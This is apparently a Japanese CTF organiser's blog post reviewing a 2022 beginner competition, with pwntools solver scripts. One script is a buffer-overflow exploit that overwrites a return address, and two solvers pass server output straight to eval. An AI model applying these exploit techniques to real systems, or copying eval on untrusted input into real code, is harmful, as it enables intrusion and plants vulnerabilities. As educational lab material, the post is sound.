概要

IPFactory WelcomeCTF 2022

2022/05/14 10:00 ~ 22:00

昨年度同様,新入生をターゲットとしたCTFを開催し,有望な新入生を発見したいという願望で開催を頼んだ(俺はもう部長では無いので).

スケジュール感は昨年以上に雑で,直前に全部なんとかしたみたいな感じ.

今回もインフラは現部長のmorioka12に任せっきりだったが,作問のリソースが卒業年次のメンバー以外にも割り当てられたのは良かった.

作問者writeup

Pwn

昨年の経験からどうせ解かれないのがわかっていたので,半分使いまわしみたいな構成になった.他の作問もあって忙しいので許してくれ.

案の定ほとんど解かれなかった.

Pwnは全部俺が作る事になってしまった…

来年以降は是非後輩に作問してもらいたい(いなければやるけど)

てけいさん

昔のSECCONか何かであったてけいさんみたいな問題.

ランダムな値の加減乗算を行う.

パースしていい感じにやっても良いが,evalで良い.

#!/usr/bin/env python3
from pwn import *
import os
context.log_level = 'critical'
io = remote(os.getenv('PWN_HOST', 'localhost'), 4000)

for _ in range(100):
    line = io.readline().decode('utf-8', 'ignore')
    ans = eval(line)
    io.sendlineafter(b'= ', str(ans).encode('utf-8'))

print(io.recvuntil(b'flag{').decode('utf-8', 'ignore'), end='')
print(io.recvuntil(b'}').decode('utf-8', 'ignore'))

去年も似たようなの出した

てけいさん…?

信用できない入力をevalするな.という問題.

さっきの問題と同じ用に見えるが,サーバがたまに"exit(1)"を出してくるのでevalしてると失敗する.

丁寧にパースしてやるか,例外処理で良い.

#!/usr/bin/env python3
from pwn import *
context.log_level = 'critical'
io = remote('localhost', 4001)

line = io.readline().decode('utf-8', 'ignore')

try:
    while True:
        if '+' in line or '-' in line or '*' in line:
            io.recvuntil(b'= ')
            io.sendline(str(eval(line)).encode('utf-8'))
        else:
            print(line)
        line = io.readline().decode('utf-8', 'ignore')

except:
    exit(0)

Welcomebof

ここまで来てやっとPwnっぽくなるが,0solvedだった.かなしい

普通にBOFでリターンアドレス書き換えるやつ.canaryも無い

#!/usr/bin/env python3
from pwn import *
binfile = 'chall'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('localhost', 4002)

pad = b'a' * 0x12

payload = pad + pack(e.sym['win'])

io.sendlineafter(b'name?\n', payload)

io.interactive()

Rev

初心者向けとはいえ,stringsするだけ問題みたいなのはRevじゃない気がするので出さなかった.後悔している.

誰も解いてくれなかった

only_read

入力値の文字比較しているが,indexがバラバラなのでoperandのoffset見ていい感じに並べ替える問題.

indexバラバラにしたのが難しかったのか,0solvedだった.Ghidraだとシュッと解けるっぽい.

感想

今年も強い新入生がいて,普通に4年生に勝って優勝したりしていたのでうれしい.

やってて思ったが,サークルの性質上,個人への依存は避けられない気がするので,依存先を切り替えていく方針で行くしかなさそう.

あと開催中は運営でBGAやってた.UNOみたいな奴とかCuBirdsとか楽しかった.